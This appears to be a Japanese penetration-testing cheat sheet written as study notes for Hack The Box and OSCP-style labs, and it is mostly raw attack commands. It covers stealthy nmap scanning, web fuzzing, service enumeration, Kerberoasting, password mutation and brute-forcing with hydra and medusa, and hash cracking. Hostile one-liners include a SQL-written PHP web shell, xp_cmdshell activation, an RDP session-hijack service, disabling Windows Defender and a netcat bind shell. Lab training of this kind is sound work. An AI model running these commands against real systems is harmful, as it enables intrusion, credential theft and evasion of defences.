python3 -m venv venv
source venv/bin/activate
nmap -sn 10.10.110.0/24
fping -asgq 172.16.1.0/24
ping -c 1 $Target_IP
ttl=64
→ Linux OS/Mac OSttl=128
→ Windows OSttl=255
→ UNIX OS/ネットワーク機器TCPスキャン
sudo nmap -v -sCV -T4 -p0-65535 -Pn $Target_IP
UDPスキャン
sudo nmap -sU -T4 -p0-65535 -Pn $Target_IP
sudo nmap -sU -T4 -Pn $Target_IP
echo -e '\nexport Target_IP=""' >> ~/.bashrc
source ~/.bashrc
zshの場合はこれ
echo 'export Target_IP=""' >> ~/.zshrc
source ~/.zshrc
不安だったら、-T2
とかに
sudo nmap -p0-65535 -T4 -Pn -v --open $Target_IP -oG open_ports.txt
ports=$(grep "Ports:" open_ports.txt | awk -F'Ports: ' '{print $2}' | tr ',' '\n' | awk -F'/' '{print $1}' | tr '\n' ',' | sed 's/,$//')
sudo nmap -sCV -A -Pn -p"$ports" -vv $Target_IP
UDPスキャン
sudo nmap $Target_IP -p<空いてるポート> -sU -Pn -n --disable-arp-ping --packet-trace
TCP ACKスキャン : SYNスキャン (-sS
) や Connectスキャン (-sT
) と比べて、ブロックされにくい
sudo nmap $Target_IP -p<空いてるポート> -sA -Pn -n --disable-arp-ping --packet-trace
Decoy(デコイ)スキャン(-D
)の利用
sudo nmap $Target_IP -p- -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5
ソースIPアドレス(-S
)を手動で指定することもできる
sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200
sudo nmap $Target_IP -p<空いてるポート> -sS -Pn -n -sV --disable-arp-ping --packet-trace --source-port 53
UDP
sudo nmap $Target_IP -sU -Pn -n -vvv -A --disable-arp-ping --packet-trace -D RND:5 --source-port 53 -oA "scan_output" -T2 -F
TCP
sudo nmap $Target_IP -sA -Pn -sCV -vvv --n --disable-arp-ping --packet-trace -D RND:5 --source-port 53 -oA "scan_output" -T2 -F
ポートがわかったなら、これでも取得できる
snowyowl644@htb[/htb]$ ncat -nv --source-port 53 10.129.2.28 50000
とりあえずNikto!!!! Microsoft IMSみたいな何もないようなサイトでもやる!!!!!
nikto -h http://
.DS_Store見つかったら
wget https://github.com/lijiejie/ds_store_exp/raw/refs/heads/master/ds_store_exp.py
pip install ds-store requests
python ds_store_exp.py http://10.13.38.11/.DS_Store
feroxbuster -u <http://TARGET>
sudo apt install dirsearch -y
sudo dirsearch --url= --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --threads 30 --random-agent --format=simple
/opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://<domain> -H "Host: FUZZ.<domain>" -mc 200
ちなみに、dnsゾーン転送が許可されている場合は、サブドメインが表示されることもある
dig axfr inlanefreight.local @10.129.229.147
以下の方法もある
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-u http://zynect.zishuieng.com/ \
-H "Host: FUZZ.zishuieng.com" \
-mc 200,301,302,403 \
-t 5 \
-p 0.2
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ
ディレクトリファジングができた手もサイトの拡張子がわからない時があるので、拡張子をファジングする
ffuf -w /opt/useful/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blog/indexFUZZ
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.<拡張子のファジングでわかった拡張子>
feroxbusterみたいに、ディレクトリとフォルダをいっぺんにファジングできる
-recursion-depth 1
: サブディレクトリ1階層分までスキャン-e .php
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v
feroxbuster -u http://faculty.academy.htb:57022/ -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,phps,php7
仮想ホストとサブドメインの違い
ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb'
http://admin.academy.htb:PORT/admin/admin.php
GETパラメータ
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx
POSTパラメータ
-d
オプションで本文データを指定する必要があるffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
スキャン結果が出たら、curlで確認する
id
というパラメータが有効であり、何らかの値のチェックが行われているcurl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded'
id
)がわかったら、今度はその「値(value)」を総当たりで試すid=1
, id=2
, id=3
, ... のように試して、フラグが表示されるIDを探す!辞書作り
for i in $(seq 1 1000); do echo $i >> ids.txt; done
ファジング
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
gobuster vhost -u http://$Target_IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
whatweb <http://...>
whatweb --no-errors 10.10.10.0/24
results.json
に保存されるインストール
pip3 install scrapy
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip
unzip ReconSpider.zip
python3 ReconSpider.py http://
管理用のページと、管理用ページに何かしらする系→Stoerd XSSがあることありますよ
保存型XSSあるので、見逃さずに
過去の例
WAF回避の例
CTFでは関係ないけど、実務では関係あるrefleted XSS、DOM XSSの検出に使える
python3 -m venv venv
source venv/bin/activate
python xsstrike.py
python xsstrike.py -u "http://it.k2.thm/login?msg="
python xsstrike.py -u "http://it.k2.thm/dashboard" --data "title=test&description=test" --headers "Cookie: session=eyJhdXRoX3VzZXJuYW1lIjoiYWRtaW4iLCJpZCI6MiwibG9nZ2VkaW4iOnRydWV9.aF6veA.aKrd7cyseAM1NAkih0QM7l2rbbc"
'
を入れる
ターゲットWebアプリケーションのスクリーンショットを撮り、指紋を取得し、可能なデフォルトの資格情報を識別するために使用できる
sudo apt install eyewitness
-d
: 保存先のディレクトリ
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
インストール
wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
unzip aquatone_linux_amd64_1.7.0.zip
cat web_discovery.xml | ./aquatone -nmap
curl -s "https://crt.sh/?q=facebook.com&output=json" | jq -r '.[] | select(.name_value | contains("dev")) | .name_value' | sort -u
wafw00f
pip3 install git+https://github.com/EnableSecurity/wafw00f
wafw00f <ドメイン>
msfconsole
use auxiliary/scanner/http/robots_txt
set PROXIES HTTP:127.0.0.1:8080
set RHOST SERVER_IP
set RPORT PORT
run
nmap --proxies http://127.0.0.1:8080 SERVER_IP -pPORT -Pn -sC
burpsuite
zaproxy
構成チェック
git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py 10.129.14.132
パスワード認証を強制
ssh -v <ユーザー名>@$Target_IP -o PreferredAuthentications=password
nc -nv $Target_IP 873
rsync -av --list-only rsync://127.0.0.1/dev
rsync -av rsync://$Target_IP/dev
rlogin $Target_IP -l <username>
rwho
rusers -al $Target_IP
xfreerdp /u:<ユーザー名> /p:"<パスワード>" /v:$Target_IP /cert:ignore
xfreerdp /u: /p: /v: /cert:ignore /sec:rdp +sec-nla
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl 10.129.201.248
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
net start sessionhijack
evil-winrm -i TargetIP -u Cry0l1t3 -p P455w0rD!
upload・downloadコマンドで、ファイルを転送できる
/usr/share/doc/python3-impacket/examples/wmiexec.py Cry0l1t3:"P455w0rD!"@10.129.201.248 "hostname"
ftp -p $Target_IP
sudo nmap -sCV -A -Pn -p21 -vv $Target_IP --script "/usr/share/nmap/scripts/ftp*.nse"
openssl s_client -connect 10.129.14.136:21 -starttls ftp
hydra -L users.list -P passwords.list ftp://$Target_IP:21 -t 64
nmap -Pn -v -n -p<ポート> -b <user>:<pass>@<FTP_IP> <Target_IP>
smbclient -N -L //$Target_IP
smbmap -H $Target_IP -u "" -p ""
smbclient //"$Target_IP"/SHARENAME -U USERNAME%PASSWORD
smbmap -H $Target_IP -u USERNAME -p 'PASSWORD' -s SHARENAME
nmap --script smb-os-discovery.nse -p445 $Target_IP
nmap --script=smb-vuln* -p139,445 $Target_IP
rpcclient -U "" -N $Target_IP
showmount -e $Target_IP
mkdir target-NFS
sudo mount -t nfs $Target_IP:/ ./target-NFS/ -o nolock
dig A inlanefreight.htb
dig NS inlanefreight.htb
dig AXFR inlanefreight.htb @$Target_IP # ゾーン転送試行
dnsenum --dnsserver $Target_IP --enum -f wordlist.txt inlanefreight.htb
sudo nmap $Target_IP -sC -sV -p25
sudo nmap $Target_IP -p25 --script smtp-open-relay
swaks --from a@b --to c@d --server $Target_IP
openssl s_client -connect $Target_IP:imaps
hydra -L users.txt -P passwords.txt imap://$Target_IP
python3 o365spray.py --validate --domain <domain>
python3 o365spray.py --enum -U users.txt --domain <domain>
python3 o365spray.py --spray -U usersfound.txt -p 'Passw0rd!' --count 1 --lockout 1 --domain <domain>
snmpwalk -v2c -c public $Target_IP
onesixtyone -c wordlist.txt $Target_IP
braa public@$Target_IP:.1.3.6.*
mysql -u root -pP4SSw0rd -h $Target_IP
SELECT LOAD_FILE('/etc/passwd');
SELECT "<?php system($_GET[cmd]);?>" INTO OUTFILE '/var/www/html/shell.php';
show databases; -- DB 一覧
show tables; -- テーブル一覧
show columns from <tbl>; -- カラム
sudo nmap -p1433 --script ms-sql-* $Target_IP
mssqlclient.py Administrator@$Target_IP -windows-auth
enable_xp_cmdshell # cmdshell 有効化
xp_cmdshell whoami
SELECT name,password_hash FROM master.sys.sql_logins;
./odat.py all -s $Target_IP
sqlplus scott/tiger@$Target_IP/XE
select name,password from sys.user$;
sudo nmap -sU -p623 --script ipmi-version $Target_IP
use auxiliary/scanner/ipmi/ipmi_dumphashes
ipmitool -I lanplus -H $Target_IP -U <user> -P <pass> chassis power status
ldapsearch -x -H ldap://$Target_IP -s base
ldapdomaindump ldap://$Target_IP --no-json -d <domain>
kerbrute userenum --dc $Target_IP -d <domain> users.txt
GetUserSPNs.py <domain>/<user>:<pass>@$Target_IP
GetNPUsers.py <domain>/ -no-pass -usersfile users.txt -dc-ip $Target_IP
curl -I http://$Target_IP | grep Server:
nmap -p80 --script http-iis-short-name-brute $Target_IP
curl -T shell.aspx http://$Target_IP/shell.aspx
セットアッププロセスが開始され、最大30分かかります
sudo apt-get install gvm && openvas
gvm-setup
OpenVas起動
gvm-start
https://< IP >:8080
でアクセスできる
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python GitHack.py http://www.openssl.org/.git/
HTBやOSCPではXSSの脆弱性を使うことはないため、真っ先に除外する。
XSSは他のユーザーが引っかかる必要があるが、HTBやOSCPには対象が存在しない。
.txtよりもコードが書かれた脆弱性を選ぶべき
迷った時は数字が後の方の方を選ぶべし
より最新で、上手くいく可能性が高いから
searchsploit -w <検索キーワード>
searchsploit -m <脆弱性の番号>
検索キーワード : SoftwareName Version CVE
脆弱性 | 説明 | 条件 |
---|---|---|
MS08-067 | SMB の脆弱性に対して多くの Windows バージョンに緊急パッチが適用されたもの。Conficker や Stuxnet でも悪用され、Windows ホストへの侵入が非常に容易になる。 | - SMB (445番ポート) が開放 - Windows XP / Server 2003 / 2008 などで未パッチ |
Eternal Blue MS17-010 |
MS17-010 として知られ、NSA から流出した Shadow Brokers のダンプに含まれていたエクスプロイト。SMB v1 の欠陥を突いてコード実行が可能。WannaCry や NotPetya などの攻撃で悪用された。 | SMBv1 が有効 Windows 7 / Server 2008 R2 などで未パッチ- 無認証で攻撃可能 windows/smb/ms17_010_eternalblueがダメでもwindows/smb/ms17_010_psexecは行ける可能性ある |
PrintNightmare | Windows Print Spooler のリモートコード実行脆弱性。プリンタ ドライバのインストール経由で SYSTEM 権限を奪取可能。2021年に猛威を振るった。 | - Print Spooler サービスが有効 - (多くの場合)低権限シェルまたは有効な資格情報が必要 |
BlueKeep | CVE-2019-0708。RDP の特定チャネルの欠陥を突いてコード実行を行う。Windows 2000 ~ Server 2008 R2 まで広範囲に影響。 | - RDP (3389番ポート) が開放 - Windows 7 / Server 2008 R2 などで未パッチ |
Sigred | CVE-2020-1350。DNS サーバー(通常はドメインコントローラ)の SIG レコード処理を悪用。成功するとドメイン管理者権限を得る可能性がある。 | - Windows DNS サーバーが未パッチ- 外部から DNS レコードを注入可能または制御下に置ける環境 |
SeriousSam | CVE-2021-36934。C:\Windows\system32\config のパーミッション不備により、非特権ユーザーでも SAM を読み取れる。Volume Shadow Copy 経由でダンプが可能。 | - Windows 10 / Server 2019 など特定バージョンで未修正 - Volume Shadow Copy が有効- フォルダの実行許可設定ミス |
Zerologon | CVE-2020-1472。Netlogon RPC (MS-NRPC) の暗号化欠陥を突く。ドメインコントローラに対して総当たりが可能で、成功するとドメイン管理者権限まで奪取し得る。 | - ドメインコントローラが未パッチ- MS-NRPC (Netlogon) にアクセス可能 - 攻撃成功でドメイン管理者権限取得の可能性 |
CTFでは、意味ありげな画像がポンと渡されて、何も情報がない場合、ステガノグラフィーのこともある。
ファイルの埋め込み
steghide embed -cf cvr.jpg -ef emb.txt
データの抽出:
steghide extract -sf stg.jpg
何が入ってるのかを確認する
sudo apt install stegcracker -y
sudo apt install steghide -y
sudo steghide info *.jpg
何も入力しないでEnterを押すことで突破できないか試す
sudo steghide extract -sf *.jpg
ヒントの確認
- 隠されたパスフレーズがファイルのメタデータや埋め込まれたコメントに含まれている場合がある。以下のコマンドでチェック
strings HackerAccessGranted.jpg
exiftool HackerAccessGranted.jpg
辞書攻撃
rockyou.txt
(多くのステガノグラフィー攻撃で利用される)stegcracker HackerAccessGranted.jpg /path/to/wordlist.txt
git clone https://github.com/spipm/Depix.git
cd Depix
python3 depix.py -p <PATHTOIMAGE>/image.png -s
./images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o
<DESIREDPATH>/output.png
admin:admin
admin:password
admin:<blank>
root:12345678
administrator:Password
デフォルトの資格情報チートシートをpipでインストールして、検索できる
例
pip3 install defaultcreds-cheat-sheet
検索するとき
creds search tomcat
人がパスワードを設定するときに、複雑にしようとするが、その複雑にするプロセスには一貫した共通点がある
その共通点をトレースして、単純なパスワードを複雑化する
まず、ベースとするpassword.lstを用意する
cat password.list
下のルールをcustom.rule
に加えて、このルールに従って、password.lstを複雑化する
機能 | 説明 |
---|---|
: |
何もしない。 |
l |
すべての文字を小文字にしてください。 |
u |
すべての文字を大文字にしてください。 |
c |
最初の文字を大文字にして、他の文字を小文字にします。 |
sXY |
XのすべてのインスタンスをYに置き換えます。 |
$! |
最後に感嘆符を追加します。 |
例 : cutom.ruleの中身 |
snowyowl644@htb[/htb]$ cat custom.rule
:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@
$! so0 sa@
$! c so0 sa@
custom.ruleをベースとなるpassword.lstに適用する
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
もちろん、事前に作成されたルールリストもある
最もよく使われるルール
CeWL
CeWLと呼ばれる別のツールを使用して、会社のWebサイトから潜在的な単語をスキャンし、別のリストに保存できる
-d
)、単語の最小長(-m
)、見つかった単語の小文字(----lowercase
)の保存、結果を保存するファイル(-w
)など、いくつかのパラメータを指定するcewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist
単純なハッシュ
hashes.txtに直す
echo "ハッシュ" > hashes.txt
ハッシュの形式を指定して、johnを使って解析
john --format=sha256 hashes_to_crack.txt
ハッシュの形式が不明な場合
hashid -m 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163'
代表的なハッシュアルゴリズム↓
ID | 暗号化ハッシュアルゴリズム |
---|---|
$1$ |
MD5 |
$2a$ |
Blowfish |
$5$ |
SHA-256 |
$6$ |
SHA-512 |
$sha1$ |
SHA1crypt |
$y$ |
Yescrypt |
$gy$ |
Gost-yescrypt |
$7$ |
Scrypt |
john --wordlist=<wordlist_file> --rules <hash_file>
john --incremental <hash_file>
a-zA-Z0-9
なので、特殊文字を使うときは、カスタム文字セットを使用する必要があるユーザー名リストは手動で作成することも可能だが、自動生成ツールを活用すれば効率的に一般的なユーザー名フォーマットを作成できる。
snowyowl644@htb[/htb]$ cat usernames.txt
bwilliamson
benwilliamson
ben.willamson
willamson.ben
bburgerstien
bobburgerstien
bob.burgerstien
burgerstien.bob
jstevenson
jimstevenson
jim.stevenson
stevenson.jim
Username Anarchy
(Rubyベースのツール)を使用すると、実名リストから複数のユーザー名パターンを生成可能sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy -i ../username.list > username_anarchy.list
名前を使って、ユーザー名を生成する
./username-anarchy Jane Smith > jane_smith_usernames.txt
→ 実際の名前リストを基に、一般的なユーザー名形式を自動的に作成
CUPPとは?
特徴
CUPPに入力する情報(対話モード cupp -i
)
a
→@
, e
→3
)の使用設定インストール方法(Linuxの場合)
sudo apt install cupp -y
```
cupp -i
プロンプトに従って情報を入力するだけで .txt
形式の辞書ファイルが生成される
生成されるパスワード例
応用テクニック
grep -E '^.{6,}
- Hydraなどのブルートフォースツールと組み合わせて使う
```bash
hydra -L usernames.txt -P jane_filtered.txt IP -s PORT -f http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials"
john --wordlist=password.list --rules=custom --stdout | sort -u > mut_password.list
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
protoには、サービス名を指定する
winrmをブルートフォース
snowyowl644@htb[/htb]$ crackmapexec winrm 10.129.42.197 -u user.list -p password.list
WINRM 10.129.42.197 5985 NONE [*] None (name:10.129.42.197) (domain:None)
WINRM 10.129.42.197 5985 NONE [*] http://10.129.42.197:5985/wsman
WINRM 10.129.42.197 5985 NONE [+] None\user:password (Pwn3d!)
また、単一のユーザー名・パスワードの場合は小文字の-l、-pを使う
hydra -L user.list -P pass.list ftp://$Target_IP -v
hydraオプションの基本
hydra [login_options] [password_options] [attack_options] [service_options]
l LOGIN``-L FILE |
ログインオプション:単一のユーザー名(-l )またはユーザー名のリスト(-L )を含むファイルを指定します。 |
hydra -l admin ...``hydra -L usernames.txt ... |
-p PASS``-P FILE |
パスワードオプション:単一のパスワード(-p )またはパスワードのリストを含むファイル(-P )のいずれかを提供します。 |
hydra -p password123 ...``hydra -P passwords.txt ... |
-t TASKS |
タスク:実行する並列タスク(スレッド)の数を定義し、攻撃を高速化する可能性があります。 | hydra -t 4 ... |
-f |
ファストモード:最初のログインが見つかったら、攻撃を停止します。 | hydra -f ... |
-s PORT |
ポート:ターゲットサービスにデフォルト以外のポートを指定します。 | hydra -s 2222 ... |
-v``-V |
詳細な出力:試行と結果を含む、攻撃の進行状況に関する詳細情報を表示します。 | hydra -v ... またはhydra -V ... (さらに冗長性のために) |
service://server |
ターゲット:サービス(例:ssh 、http 、ftp )とターゲットサーバーのアドレスまたはホスト名を指定します。 |
hydra ssh://192.168.1.100 |
/OPT |
サービス固有のオプション:対象サービスに必要な追加オプションを提供します。 | hydra http-get://example.com/login.php -m "POST:user=^USER^&pass=^PASS^" (HTTPフォームベースの認証用) |
サービス | コマンド例 |
---|---|
FTP | hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100 |
SSH | hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100 |
HTTP-GET/POST | hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" |
SMTP | hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com |
POP3 | hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com |
IMAP | hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com |
MySQL | hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100 |
MSSQL | hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100 |
VNC | hydra -P /path/to/password_list.txt vnc://192.168.1.100 |
RDP | hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100 |
辞書を作らなくてもこんな感じでもできる |
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp
-l administrator
→ ログイン名として「administrator」を指定-x 6:8:...
→ 6〜8文字の全パターンを自動生成(英小文字・英大文字・数字)192.168.1.100
→ 攻撃対象のIPアドレスrdp
→ RDPサービスを対象に指定辞書の取得
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
ブルートフォースの実行
hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
-l basic-auth-user
→ ログイン試行に使うユーザー名を指定-P 2023-200_most_used_passwords.txt
→ 使用するパスワードリスト127.0.0.1
→ ターゲットのIP(この場合はローカルホスト)http-get /
→ HTTPのGETメソッドでルートパス(/
)を攻撃対象に-s 81
→ ポート番号を明示的に指定(通常80だが、ここでは81を使用)カスタムログインフォームとは?
Hydraで攻撃できる理由
http-post-form
というモードを使えば、フォーム送信に特化したブルートフォースが可能攻撃のために必要な情報
/login
や /
)username
, password
)Invalid credentials
)情報の集め方
Hydraコマンドの基本構文
hydra -L ユーザー名リスト -P パスワードリスト ターゲットIP http-post-form "パス:パラメータ:条件"
パラメータの書き方
/:username=^USER^&password=^PASS^:F=Invalid credentials
username=^USER^
→ ユーザー名入力欄password=^PASS^
→ パスワード入力欄F=(Failure Condition)とは?
"Invalid credentials"
, "Incorrect password"
, "Login failed"
などhydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
S=(Success Condition)とは?
「この文字列がレスポンスに含まれていたらログイン成功」と判断するための条件
成功時に表示されるキーワードや、リダイレクト(HTTP 302)をチェックするのに使う
"Welcome"
, "Dashboard"
, S=302
などS=を使うのは、失敗メッセージがない or 成功時のパターンが明確なときに便利
使用例(① 成功時に「Dashboard」と表示される):
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard"
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
F= と S= の使い分け
F=Login failed:S=Welcome
)チェックポイント(初心者向け)
おまけ:テスト時のポイント
辞書の取得
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
実行
hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
項目 | Hydra | Medusa |
---|---|---|
💡 特徴 | 柔軟でシンプルなコマンド構文。対応プロトコルが広い。 | 超高速&並列処理に強い。大量ターゲットの一括スキャンが得意。 |
🚀 速度 | 並列処理はあるが、Medusaより若干遅い | 圧倒的に速い(数千スレッドでも安定) |
🧠 学習コスト | 初心者向け。わかりやすい構文。 | やや複雑。オプションが多め |
🛠️ 対応プロトコル | 50以上対応(Webフォーム、SSH、RDPなど) | Hydraに近いがやや少なめ(実用的には十分) |
🔁 大量ホスト対応 | スクリプトなどで対応可能 | 複数ホストを一括で簡単に処理できる(-H) |
🌐 Webフォーム対応 | http-post-formで高機能に対応 | web-formモジュールもあるが柔軟性はHydraが上 |
📦 標準搭載 | Kali, Parrotなどにプリインストール | 同じく多くのペンテスト用OSに搭載済み |
🔍 デバッグ・出力 | Verboseログが細かくてわかりやすい | ログはややシンプル。高速処理に特化 |
medusa [ターゲット関連オプション] [認証情報関連オプション] -M モジュール [モジュール固有オプション]
パラメータ | 説明 | 使用例 |
---|---|---|
-h or -H | 単一のターゲット(-h)またはターゲットのリストファイル(-H)を指定 | medusa -h 192.168.1.10 ... または medusa -H targets.txt ... |
-u or -U | 単一ユーザー名(-u)またはユーザーリストファイル(-U)を指定 | medusa -u admin ... または medusa -U users.txt ... |
-p or -P | 単一パスワード(-p)またはパスワードリストファイル(-P)を指定 | medusa -p password123 ... または medusa -P passwords.txt ... |
-M | 攻撃に使うモジュールを指定(例:ssh, ftp) | medusa -M ssh ... |
-m | モジュール専用の追加オプション(ダブルクォートで囲む) | **HTTPフォーム送信などに使う:**medusa -M http -m "POST /login ..." |
-t | 並列スレッド数(並列で試行できる数) | medusa -t 4 |
-f or -F | 成功時に停止(-f: 現在のホストのみ、-F: すべてのホストで停止) | medusa -f ... または medusa -F ... |
-n | 非標準ポートを指定(例:2222など) | medusa -n 2222 |
-v | 詳細出力(最大6レベル) | medusa -v 4 |
モジュール名 | サービス/プロトコル | 説明 | 使用例 |
---|---|---|---|
ftp | FTP | ファイル転送用プロトコルのログイン情報をブルートフォース | medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt |
http | HTTP | Webアプリのフォームログイン(GET/POST)をブルートフォース | medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^ |
imap | IMAP | メールサーバーのIMAP認証に対して試行 | medusa -M imap -h mail.example.com -U users.txt -P passwords.txt |
mysql | MySQL | データベース(MySQL)の認証情報を試行 | medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt |
pop3 | POP3 | メール取得プロトコルへのブルートフォース | medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt |
rdp | RDP | Windowsのリモートデスクトップログインをブルートフォース | medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt |
ssh | SSH | セキュアシェルへの認証を試行(ポピュラー) | |
svn | Subversion | バージョン管理ツールSVNの認証に対して攻撃 | medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt |
telnet | Telnet | 古いリモート端末プロトコルへの試行 | medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt |
vnc | VNC | リモートデスクトップ(VNC)へのブルートフォース | medusa -M vnc -h 192.168.1.100 -P passwords.txt |
web-form | Webログインフォーム | HTTP POST を使うログインフォームへの攻撃 | medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid" |
エンコードされたファイルの検索
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
SSHキーの検索
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
暗号化されたSSHの検索
cat /home/cry0l1t3/.ssh/SSH.private
SSH の秘密鍵 (SSH.private) を John the Ripper でクラックできる形式 (hash) に変換する
SSH.privateは、id_rsaに置き換えられる
出力を ssh.hash に保存。
ssh2john.py SSH.private > ssh.hash
cat ssh.hash
SSHキーのクラック
john --wordlist=rockyou.txt ssh.hash
<tool> <file_to_crack> > file.hash
pdf2john server_doc.pdf > server_doc.hash
john server_doc.hash
john --wordlist=<wordlist.txt> server_doc.hash
また、それぞれのファイルにあったjohnを見つけて使用することもできる
それぞれのツールにあったjohnを検索する
locate *2john*
Microsoft Office ドキュメントのクラッキング
office2john.py Protected.docx > protected-docx.hash
cat protected-docx.hash
john --wordlist=rockyou.txt protected-docx.hash
john protected-docx.hash --show
PDF のクラッキング
pdf2john.py PDF.pdf > pdf.hash
cat pdf.hash
john --wordlist=rockyou.txt pdf.hash
john pdf.hash --show
複雑な形式
sudo find / -iname *2john* -type f 2>/dev/null
sudo john --wordlist=/usr/share/wordlists/rockyou.txt 探したい.john
zipファイルのクラック
zip2john ZIP.zip > zip.hash
cat zip.hash
john --wordlist=rockyou.txt zip.hash
john zip.hash --show
john --wordlist=rockyou.txt zip.hash
gzipファイルのクラック
for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null| tar xz;done
bitlockerファイルのクラック
bitlocker2john -i Backup.vhd > backup.hashes
grep "bitlocker\$0" backup.hashes > backup.hash
cat backup.hash
hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked
cat backup.cracked
パスワードを解読すると、暗号化されたドライブを開く
BitLocker で暗号化された仮想ドライブをマウントする最も簡単な方法は、それを Windows システムに転送してマウントする
攻撃者側でポートを開いて待ち受けて、そこにターゲットがアクセスすることでシェルを取得する
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true
ターゲット側でポート開いて待ち受けて、そこに攻撃者がアクセスすることで、シェルを取得する
バインドシェルの方が防御されやすい
コマンド
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l <ターゲットのIP> 7777 > /tmp/f
nc -nv <ターゲットのIP> 7777
asp, aspx, jsp, php,
などを含む多くの異なるwebシェルの一覧がある/usr/share/laudanum
にあるattacking
